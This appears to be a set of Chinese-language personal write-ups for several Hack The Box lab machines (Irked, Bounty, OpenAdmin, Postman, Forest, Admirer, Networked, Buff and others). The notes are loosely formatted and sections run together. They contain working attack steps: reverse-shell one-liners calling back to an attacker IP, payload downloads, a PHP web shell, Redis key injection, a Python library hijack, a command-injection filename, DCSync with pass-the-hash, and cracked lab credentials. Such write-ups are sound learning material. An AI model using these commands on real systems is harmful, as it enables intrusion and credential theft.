irked
nmap scan
#### port explore 22端口需要登录 80端口是一张图片 111端口可能是rpc服务 剩下的端口不知道干什么的 #### 目录扫描 扫到一个apache的手动目录 #### exploits searchsploit高端口的unrealircd,会发现几个可以利用的版本 直接去github上找一个同样的py脚本 查找user.txt发现在另一个使用者目录下,但是我们现在没有权限 #### shell as djmardov 在documents目录下存在一个.backup 先下载一个大图 steghide(命令行下的steg工具) ` extract - 提取数据 -sf irked.jpg - 抽取数据的目标 -p - 密码 ` 得到一个密码 试着用这个密码登录到djmardov 成功切换到该用户 #### shell as root 用ssh连接刚才的用户登录到目标机器 传一个linenum.sh到上面 在suid的文件中,有一个viewuser没见过 测试一下往/tmp/listusers里面echo id 命令能够成功执行 echo sh > /etc/listusersbounty
nmap scan
#### port 只开放了一个80端口,是一张IIS7.5的图 #### 目录扫描 只有一个aspnet_client且这个目录是403的 用大字典再扫一次 writeup说存在一个transfer.aspx文件,但是我没扫到 #### 上传文件 试着传一个cmd.aspx到靶机,会被拦截 用%00进行截断上传,可以上传成功 尝试访问10.10.10.93/UploadedFiles/cmd.aspx,访问不了 搜索iis7.5 upload rce (链接)[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/] 上传一个web.config 访问web.config会得到回显 准备反弹一个shell给本机 首先先下载一个(Nishang’s Invoke-PowerShellTcp.ps1)[https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1] 在最后添加一个反弹shell `Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.4 -Port 8888` 把web.config编辑成下列形式 在本地开一个http服务器准备传送文件,同时开启一个nc监听8888端口等待回弹shell 在merlin的文件夹中没有有用的信息 gci -force强制显示隐藏文件 #### root systeminfo MS15-051提权 ` (new-object net.webclient).downloadfile('http://10.10.14.4/lp.exe','C:\users\merlin\appdata\local\temp\lp.exe') (new-object net.webclient).downloadfile('http://10.10.14.4/rev.bat','C:\users\merlin\appdata\local\temp\rev.bat') ` (lonelypotato)[https://github.com/NotMedic/lonelypotato/tree/master/RottenPotatoEXE] `C:\users\merlin\appdata\local\temp\lp.exe * C:\users\merlin\appdata\local\temp\rev.bat`openadmin
nmap scan
#### port explore 只开放了22和80端口 80端口是apache的默认界面 22端口无法匿名登录 #### 目录遍历 扫出两个页面,一个是music一个是ona opennetadmin显示是v18.1.1,searchsploit后发现有远程代码执行漏洞 在github上找一个利用脚本,成功获得www权限 #### user 用www权限可以发现存在两个用户jimmy和joanna 往目标机传一个linenum.sh试试 没有什么特别可以注意的 在local中的一个数据库配置文件里找到了数据库的密码 ` 'db_login' => 'ona_sys', 'db_passwd' => 'n1nj4W4rri0R!', 'db_database' => 'ona_default', ` 用数据库的密码尝试登录jimmy和joanna jimmy成功登上去了 但是jimmy的文件夹下是空的,要尝试换成joanna 在一个叫internal的文件夹里有几个页面 这里有一个密码 可以留意一下 `curl http://10.10.10.171/main.php`一无所获 查看本机开的端口,有一个52846 用curl去访问,得到一个加密的私钥 `ssh2john rsa > password.txt` `john -w=/usr/share/wordlists/rockyou.txt password.txt` 密码是bloodninjas 用ssh连joanna,发现bloodninjas并不是连接密码,是验证密码 `chmod 600 rsa` `ssh -i rsa joanna@10.10.10.171` joanna有一个用nano读priv的sudo权限 用nano读priv以后使用ctrl+R读取需要读得文件postman
nmap scan
#### port explore 22端口不支持无用户名密码登录 80端口是一个静态页面 10000端口是一个登录页面 6379是redis,可能是入手点 #### 目录爆破 两个端口 80和10000 80端口扫出来一个upload界面,但是不知道如何上传 #### web root 尝试利用redis未授权漏洞 先使用telnet验证是否有密码验证 telnet 10.10.10.160 6379 我们可以创建一个ssh密钥连接,将公钥写入redis,用私钥连接 创建好了之后我们下一步就是准备将 它存储到内存之中。由于内存转储中也将包含垃圾,因此我们在密钥周围使用换行符,并且保存在foo.txt中,以便我们更好的守护我们的SSH密钥。 `(echo -e "\n\n"; cat keys.pub; echo -e "\n\n") > foo.txt` 使用redis-cli登录到redis查询他的目录 `config get dir` 将公钥写入redis目录 `cat foo.txt | redis-cli -h 10.10.10.160 -x set ssh_key` 已经成功写入公钥,下一步是配置公钥 获取Redis命令行-将密钥插入到内存之中 设置redis的dir目录 CONFIG SET dir /var/lib/redis/.ssh 设置dbfilename为authorized_keys config set dbfilename authorized_keys 退出该界面,用ssh登录 ssh -i keys redis@10.10.10.160 成功用redis连接 用history命令可以发现他查看过scan.py和id_rsa.bak id_rsa.bak是一个加密过的 用ssh2john破解该私钥 `ssh2john id_rsa.bak > hash.txt` `john -w=/usr/share/wordlists/rockyou.txt hash.txt` 破解出的密码为computer2008 尝试用这个帐号密码进行ssh登录 登录失败,用redis身份登录,查看/etc/ssh/sshd_config 发现Matt在deny user中 直接尝试su Matt,成功切换到Matt用户root
先使用sudo -l查看是否存在matt可以直接运行的文件,发现没有
尝试用Matt-computer2008登录webmin,因为webmin用系统的登录凭证做用户名密码很常见
登录上去以后发现webmin的版本是1.91
用searchsploit搜索发现webmin1.910存在RCE,去github上搜索利用脚本
尝试使用,成功获得root身份
blunder
nmap scan
#### port scan 21和80端口 21端口拒绝连接 80端口是一个类似博客的界面 #### 目录扫描 admin界面需要登录 还存在一个todo.txt 里面提到了一个fergus #### bludit `cewl http://10.10.10.191 > wodlist` 用48942.py爆破,得到用户名为fergus,密码为RolandDeschain 登录成功以后 尝试用文件上传漏洞去反弹一个shell 成功获得一个初始shell权限为www-data #### user 先上传一个linenum.sh到目标机 没有找到什么特殊的文件 在/var/www/bludit-3.10.0a/bl-content/databases下可以找到hugo的登陆密码 用md5解密,得到密码是Password120 直接试试切换hugo #### root 先把脚本提升一下 python -c 'import pty;pty.spawn("/bin/bash")' 然后使用sudo -l 查看是否拥有特权 sudo -version 运行时sudo,您可以输入-u [user]以说明以哪个用户身份运行。您也可以在格式中输入用户作为数字 -u#[uid]。root 使用 id 0 漏洞是我可以输入用户 id -1,并将sudo其视为 rootforest
nmap scan
从已经获取的信息来看,这像一个AD域控 重点需要关注389,445和5985端口 5985应该是kerberos认证中最后一次要请求的http service枚举域内用户及其密码
445端口一般是smb服务,所以可以尝试smbmap或smbclient进行枚举
smbmap -H 10.10.10.161
smbclient -N -L //10.10.10.161
均没有获得有用的信息
rpcclient -U “” -N 10.10.10.161
enumdomuser
enudomgroups
同时也能查询用户组和其中的用户
querygroup 0x200
querygroupmem 0x200
queryuser 0x1f4
将刚刚查询到的username存入username.txt
使用工具impacket爆破以上用户的hash
接着用hashcat爆破这个hash值hashcat -m 18200 svc /usr/share/wordlists/rockyou.txt --force
得到密码为s3rvice
使用工具evil-winrm进行连接evil-winrm -i 10.10.10.161 -u 'svc-alfresc' -p 's3rvice'
root
域内信息收集
使用sharphound进行信息收集
可以直接上传也能用目标机去主动下载iex(new-object net.webclient).downloadstring("http://10.10.14.4/SharpHound.ps1")
接下来收集域内信息import-module .\SharpHound.ps1
invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
收集到的信息为一个zip文件
用本机开一个smbserver去接收这个zip并放到bloodhound里分析
从当前 svc-alfresco 的访问权限到 Domain Admins 组中的 Adminsitrator 需要两个步骤。
1)svc-alfresco 用户在 Service Account 中,它是 Privileged IT Account 的成员,它是 Account Operators 的成员,所以svc-alfresco 用户是 Account Operators 的成员,并且 Account Operators 对 Exchange Windows Permissions 组具有 Generic All 特权。
解释:Account Operators 组授予用户有限的帐户创建权限。该组的成员可以创建和修改大多数类型的帐户,包括用户、本地组和全局组的帐户,并且成员可以本地登录到域控制器。所以可以新建一个abc用户并加入 “Exchange Windows Permissions”组。
`
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> net user abc abc123! /add /domain
The command completed successfully.
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> net group “Exchange Windows Permissions” abc /add
The command completed successfully.2) 组 EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL 的成员有权修改域 HTB.LOCAL 上的 DACL(自由访问控制列表)。通过对目标对象的 DACL 的写入访问权限,您可以授予对对象的任何所需权限。这里是为abc用户赋予DCSync权限,利用DCSync导出域内所有用户hash。
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> $SecPassword = ConvertTo-SecureString ‘abc123!’ -AsPlain -Force
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> $Cred = New-Object System.Management.Automation.PSCredential(‘htb\abc’, $SecPassword)
Evil-WinRM PS C:\Users\svc-alfresco\Documents> Import-Module .\PowerView.ps1
Evil-WinRM PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -PrincipalIdentity abc -Credential $Cred -Rights DCSync
`
域内用户hash值获取impacket-secretsdump htb.local/abc@10.10.10.161
用wmiexe进行hash传递攻击impacket-wmiexec htb.local/administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Admirer
nmap scan
#### ports 21端口不允许匿名登录 22端口不允许直接连接 #### dirsearch 在robots.txt中有一个额外的目录admin-dir 虽然我们没有权限访问,但是我们可以尝试扫二级目录 会扫到一个admin-dir/credentials.txt的二级目录里面有password [Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
目前我们只找到了一个ftp,可以尝试先从ftp下手
ftp里面有一个dump.sql和一个html的备份,下载下来看看
dump.sql看起来像是插入图片和描述的sql
在html.tar.gz里面的index.php中我们可以找到一个数据库的用户名和密码$servername = "localhost" $username = "waldo" $password = "]F7jLHw:*G>UPrTo}~A"d6b"
在robots.txt中找到了另一个隐藏目录/w4ld0s_s3cr3t_d1r
可以尝试登录,在web上登不上去
去源码里找这个界面
有一个新的密码
[Bank Account]
waldo.11
Ezy]m27}OREc$
去访问admin_tasks.php可以看到一些功能
在db_admin.php里能找到另一套数据库密码$servername = "localhost"; $username = "waldo"; $password = "Wh3r3_1s_w4ld0?";
再用dirsearch扫一遍目录
可以扫到adminer.php
但是所有的凭证都无法进行登录
在(Serious Vulnerability Discovered in Adminer database Administration Tool)[https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool]提到创建一个本地mysql用户可以远程连接到这个上面
首先要配置本地数据库service mysql start
CREATE DATABASE admirer; # Create the database CREATE USER ‘adminer’@'%' IDENTIFIED BY ‘password’; # Create the user GRANT ALL PRIVILEGES ON *. *TO'adminer'@'%'; # Grants the created user full permissions FLUSH PRIVILEGES # Refreshes privileges create table test(data VARCHAR(255)); # Create a table in the database
之后修改/etc/mysql/mariadb.conf.d/50-server.cnf的bind-address为0.0.0.0
然后登录admirer
可以成功进行登录
在登录后使用下面一条语句把数据导入test表中load data local infile'../index.php' into table test fields terminated by "/n"
在导入成功后可以找到mysql的密码$servername = "localhost"; $username = "waldo"; $password = "&<h5b~yK3F#{PaPB&dA}{H>"; $dbname = "admirerdb";
可以成功进行登录
用新拿到的密码尝试ssh进行登录
可以登录进去
root
先sudo
这个脚本的所有者是SETENV
在备份网站的时候,该脚本调用了backup.py
说明backup.py是以root权限运行的
(python库劫持)[https://rastating.github.io/privilege-escalation-via-python-library-hijacking/]
该备份脚本用的是python3则可以键入python3 -c "import sys; print('\n'.join(sys.path))"
结果会出现一个空行
该行会在运行时脚本所在的当前目录填进去
如果我们设置一个$PYTHONPATH
则运行上面一条命令时会把$PYTHONPATH先填进去
这说明python会先尝试寻找脚本所在目录然后是自己定义的目录然后尝试去导入shutil模块
找一个可写的目录find / -type d -writable 2>/dev/null | grep -v -e '^/proc' -e '/run'
重写一个shutil.py
import os
def make_archive(a, b, c):
os.system(“nc 10.10.14.4 1234 -e’/bin/sh’”)
将脚本传到目标机的/var/tmp中sudo PYTHONPATH=/var/tmp /opt/scripts/admin_tasks.sh 6
得到反弹的shell
Networked
nmap scan
dirsearch
port 80
80端口只有一段文字
在源码里显示upload界面还未完成
代码审计
有两个比较关键的文件
一个是upload.php
一个是lib.php
lib.php中一共有6个函数,等会会在upload.php中被调用
- 第一个是检查上传的文件名称
先按.切分
然后将名字命名为第一部分
然后把带有下划线的部分换成.
然后把余下的数组进行还原
返回一个name和一个用点隔开各单词的字符串
- 第一个是检查上传的文件名称
- 第二个是获取上传文件名
内容和第一个一样
- 第二个是获取上传文件名
- 第三个是检查ip
传进来一个perfix和一个文件名
检查ip地址是否合法
- 第三个是检查ip
- 第四个是特定功能的过滤
首先是一个正则表达式
以a-z开始后跟一个‘-’,接a-z,0-9接‘-’
如果有finfo函数,就自己处理一下不返回原来应该返回的东西
如果有mine_content_type函数也自己处理一下
- 第四个是特定功能的过滤
- 第五个上检查文件类型
用上面一个函数返回的文件类型匹配image
匹配成功就返回true
- 第五个上检查文件类型
upload.php
先检查文件类型和文件大小
只能传jpg,png,gif,jpeg
web
apache httpd中支持一个文件含有多个后缀,并为不同的后缀执行不同的命令
apache配置文件中如果添加了php对应的解析,则上传的文件只要包含.php就能执行
所以这里只要上传一个xxx.php.png,就能绕开过滤
把png文件用vim打开在中间插一句<?php system($_GET["cmd"]);?>
上传文件
成功上传并且能够显示命令
在传的文件后面跟?cmd=id会显示出相应的信息
反弹shell
?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f
?cmd=bash+-i+%3E%26+/dev/tcp/10.10.14.3/4444+0%3E%261
guly权限
在/home/guly里面有一个check_attack.php
还有一个计划任务脚本,每三分钟执行一次check_attack.php
如果能控制$path或者$value就能实现命令注入
check_attack.php会检查文件但是所有不以ip开头的文件都会跳过检查
在uploads文件夹里新建一个|nc -c bash 10.10.14.3 5555
文件
等待程序执行
会收到一个shell是guly权限的
root
查看一下sudo列表会发现有一个sh脚本可以执行 尝试执行这个脚本会提示执行失败,但查看时确实存在该项 当输入空格分割的词汇时,会记录空格后的命令并尝试执行,可以尝试调一下/bin/bash 得到root权限Buff
nmap scan
该机器开启了8080和7680端口 详细扫描dirsearch
对目录进行扫描 存在upload界面和一个register界面 upload目前不允许访问 可以尝试先注册一个用户 注册界面也只允许admin进行访问web
在网页上我们可以看到这个网站是由gym management system 搭起来的
尝试用searchsploit搜索
尝试直接用远程代码执行
获得了web的权限
但是发现只能在该目录下活动
尝试一下传一个nc上去
开一个smb服务器上传
用systeminfo配合windows-exploit-suggester查看一下
root
netstat -ano | findSTR TCP | findstr ":0"
使用上述命令查看架在本地端口的应用
有一个运行在127.0.0.1上的应用tasklist /v | findstr 2564
通过上面这条命令查看这是什么应用
这里有点问题,但最后找到的进程应该是cloudme.exepowershell -w hidden -noni -nop -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.3/chisel.exe','c.exe')"
用上述指令下载chisel.exe到windows上进行端口转发
kali上开一个简易的http服务器python3 -m http.server 80
然后在两边进行端口映射
查看poc,该poc里给出了用msfvenom生成payload的方式msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.20 LPORT=443 -b '\x00\x0A\x0D' -f python -v payload
在本地开启nc进行监听